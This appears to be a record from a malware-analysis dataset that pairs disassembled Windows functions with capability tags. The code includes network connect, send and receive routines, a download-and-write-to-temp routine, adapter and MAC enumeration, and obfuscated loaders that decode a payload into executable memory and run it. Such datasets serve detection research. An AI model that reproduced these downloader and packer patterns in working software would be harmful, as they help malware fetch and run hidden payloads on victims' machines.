joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ac2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004080b0
add esp, 0xc
cmp dword [0x419070], 3
lea eax, [ebp - 0x20c]
jne 0x402b28
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040460c
add esp, 0xc
pop esi
jmp 0x402b34
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x414ffc
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.0040458e
leave
ret

Function at 0x402cba
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x214], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004080b0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402e42
push dword [ebp - 0x214]
call fcn.00402f2f
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402d32
xor eax, eax
jmp 0x402d39
push esi
call fcn.00402bf2
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040458e
leave
ret

Function at 0x402df5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x402e3d
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x403026
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x414f80
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.004048ef
add esp, 0xc
test eax, eax
je 0x403053
xor eax, eax
jmp 0x4030de
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00405472
push dword [ebp - 4]
call fcn.00405694
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00405472
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.0040525c
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00404be2
push dword [ebp - 4]
call fcn.00404c76
push ebx
lea ebx, [edi + esi]
call fcn.004030e2
push 0x414fa0
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004048ef
add esp, 0x44
pop esi
test eax, eax
jne 0x40304c
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00404e54
push dword [ebp - 4]
call fcn.00404c76
add esp, 0x14
test edi, edi
je 0x4030db
push edi
call fcn.00405326
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x4035e3
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x403662
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403638
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x403667
cmp dword [ebp - 8], 3
jb 0x4035fe
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x40365b
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x40365b
cmp edi, esi
jne 0x403646
mov eax, dword [ebp - 4]
jmp 0x40367e
cmp dword [eax + 0x34], 6
jne 0x40367b
cmp dword [eax + 0x1c], esi
jne 0x403684
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x403670
jmp 0x4036c1
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x403649
Function at 0x40394e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403a7a
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403a6b
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.004080b0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.004080b0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x419e70
mov ebx, edi
cmp word [ebx], 0
je 0x403a00
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040459d
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040460c
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x41a3e8
jl 0x4039d2
cmp word [edi], 0
je 0x403a26
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.0040425c
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x41a3e8
jl 0x403a0e
push 0x41ac40
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.0040460c
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403a65
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040458e
leave
ret

Function at 0x403caf
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403cd1
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cf9
xor eax, eax
jmp 0x403d8b
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403cf2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403d39
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403d7a
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403d7a
xor ebx, ebx
inc ebx
jmp 0x403d89
mov eax, dword [esi]
test eax, eax
je 0x403d89
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.0040458e
leave
ret
Function at 0x403ec4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403f41
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403eeb
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403edf
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.004058af
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x419074
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408c70
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403f44
cmp eax, dword [ebp - 4]
jne 0x403f44
mov dword [ebp - 8], 1
jmp 0x403f44
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403f4f
push ebx
call fcn.00405c7a
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x4040e8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x404126
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404244
cmp edi, ebx
je 0x404244
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.004080b0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404244
cmp eax, ebx
je 0x404244
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.004058af
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x40422f
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x40420d
test eax, eax
je 0x40420d
add ebx, eax
cmp edi, ebx
jg 0x404195
push 5
pop ecx
cmp ebx, ecx
jl 0x40422f
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x419074
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40422f
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x4041ed
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4041e7
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x404215
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00408c70
mov dword [esi], ebx
jmp 0x404222
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40422f
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00408c70
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404244
push dword [ebp - 0x860]
call fcn.00405c7a
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040458e
add ebp, 0x70
leave
ret
Function at 0x40425c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.004080b0
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.0040459d
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4042ad
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x41aa40
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4042d3
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.0040525c
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.004080b0
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.004080b0
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.004080b0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.00403caf
pop ecx
test eax, eax
je 0x404462
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403d98
add esp, 0xc
test eax, eax
je 0x404462
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403f55
pop ecx
pop ecx
test eax, eax
je 0x404462
cmp word [ebp - 0xe14], si
jne 0x404462
cmp dword [ebp - 0xe24], 0
je 0x404462
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x404462
push 0x41ac40
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040460c
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x414fa0
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.004048ef
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x404458
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.004044a1
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x404477
push dword [ebp - 0xe1c]
call fcn.00405326
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x40448c
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040458e
leave
ret
Function at 0x4044a1
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.0040ece0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x4044e7
xor eax, eax
jmp 0x40452f
cmp dword [ebp - 0x78], ebx
jbe 0x40451e
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x40451e
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00404e54
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x4044ec
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00404c76
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040458e
add ebp, 0xf90
leave
ret

Function at 0x40458e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41804c]
jne 0x404598
repz ret
jmp fcn.00405f18
Function at 0x40f0ef
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409d34
and dword [ebp - 4], 0
cmp dword [0x419bac], 0
mov ebx, eax
jne 0x40f1a0
push 0x413b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f251
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413b84
push edi
call esi
test eax, eax
je 0x40f251
push eax
call fcn.00409cc2
mov dword [esp], 0x413b74
push edi
mov dword [0x419bac], eax
call esi
push eax
call fcn.00409cc2
mov dword [esp], 0x413b60
push edi
mov dword [0x419bb0], eax
call esi
push eax
call fcn.00409cc2
mov dword [esp], 0x413b44
push edi
mov dword [0x419bb4], eax
call esi
push eax
call fcn.00409cc2
pop ecx
mov dword [0x419bbc], eax
test eax, eax
je 0x40f1a0
push 0x413b2c
push edi
call esi
push eax
call fcn.00409cc2
pop ecx
mov dword [0x419bb8], eax
mov eax, dword [0x419bb8]
cmp eax, ebx
je 0x40f1f8
cmp dword [0x419bbc], ebx
je 0x40f1f8
push eax
call fcn.00409d3d
push dword [0x419bbc]
mov esi, eax
call fcn.00409d3d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f1f8
test edi, edi
je 0x40f1f8
call esi
test eax, eax
je 0x40f1ef
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f1ef
test byte [ebp - 0xc], 1
jne 0x40f1f8
or dword [ebp + 0x10], 0x200000
jmp 0x40f231
mov eax, dword [0x419bb0]
cmp eax, ebx
je 0x40f231
push eax
call fcn.00409d3d
pop ecx
test eax, eax
je 0x40f231
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f231
mov eax, dword [0x419bb4]
cmp eax, ebx
je 0x40f231
push eax
call fcn.00409d3d
pop ecx
test eax, eax
je 0x40f231
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x419bac]
call fcn.00409d3d
pop ecx
test eax, eax
je 0x40f251
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f253
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40345b
pop dword [ebp - 0xc]
mov eax, 0xced5e6c4
sub eax, 0xce95b269
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x170d5ae0
add dword [ebp - 0x1c], 0x3744ea6b
mov dword [ebp - 0x18], 0x2a03e42d
add dword [ebp - 0x18], 0x82f6818
mov dword [ebp - 0x14], 0xe39f6db0
add dword [ebp - 0x14], 0x68acd67e
mov dword [ebp - 0x10], 0xfa355de
add dword [ebp - 0x10], 0xf05caa22
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x7eb4e85f
sub eax, 0x7e74a80b
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xfddb3a3d
sub dword [ebp - 0x1c], 0x8968d0e7
mov dword [ebp - 0x18], 0x93327191
sub dword [ebp - 0x18], 0x51c6101c
mov dword [ebp - 0x14], 0xe054c467
add dword [ebp - 0x14], 0x831aa805
mov dword [ebp - 0x10], 0x855e70d0
add dword [ebp - 0x10], 0x7aa18f30
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xf0bd544b
sub eax, 0xf07d13fb
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3748b
push 0
call eax
mov ecx, 0xc8422b77
sub ecx, 0xc841e1ca
mov edx, eax
mov esi, 0xddea4e14
add esi, 0x225635ec
add esi, dword [ebp - 0xc]
mov ebx, 0xbaeef181
add ebx, 0x5539e81a
sub dword [ebp - 4], ebx
mov edi, dword [esi]
add edi, ebx
xor dword [ebp - 4], 0xc2d30d54
mov dword [edx], edi
add dword [ebp - 8], edx
add edx, 0x50e637f2
sub edx, 0x50e637ee
add esi, 0x47df8
add esi, 0xfffb820c
loop 0x40357d
add eax, 0xe05de34b
add eax, 0x1fa3363c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401bd7
pop dword [ebp - 0x44]
mov eax, 0xa84b3bd8
sub eax, 0xa80b2001
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xb63d7209
add dword [ebp - 0x54], 0x9814d342
mov dword [ebp - 0x50], 0x611578cd
add dword [ebp - 0x50], 0xd11dd378
mov dword [ebp - 0x4c], 0x579039d0
add dword [ebp - 0x4c], 0xf4bc0a5e
mov dword [ebp - 0x48], 0x615e66ce
add dword [ebp - 0x48], 0x9ea19932
lea eax, [ebp - 0x54]
push eax
mov eax, 0xeeafb3b4
sub eax, 0xee6f4354
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xf103686a
sub dword [ebp - 0x54], 0x7c90ff14
mov dword [ebp - 0x50], 0xc5301886
sub dword [ebp - 0x50], 0x83c3b711
mov dword [ebp - 0x4c], 0x6353a24
sub dword [ebp - 0x4c], 0xa2c5cdb8
mov dword [ebp - 0x48], 0x4ea2e95e
sub dword [ebp - 0x48], 0x4ea2e95e
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x32e3f
push 0
call eax
mov ecx, 0xc30ee9fe
add ecx, 0x3cf14f45
mov edi, eax
mov ebx, 0x8230f9dd
add ebx, 0x7e100623
add ebx, dword [ebp - 0x44]
mov esi, 0x5525a1b6
sub esi, 0x95354cf7
sub dword [ebp - 0x3c], eax
mov edx, dword [ebx]
xor dword [ebp - 0x10], 0xbb796fff
sub edx, esi
add dword [ebp - 0xc], 0x772ef5ec
mov dword [edi], edx
xor dword [ebp - 0x2c], 0x122254cd
add edi, 0x1abfd4ea
sub edi, 0x1abfd4e6
add ebx, 0xa81ba369
sub ebx, 0xa81ba365
loop 0x401cf4
add eax, 0x7ea0d7bf
add eax, 0x81600020
xor ebx, ebx
add ebx, eax
add eax, 0x528e26d0
sub eax, 0x528e26cb
mov ecx, 0xf4691c24
add ecx, 0xbd6e3dc
add ecx, dword [ebp - 0x44]
call ebx
leave
ret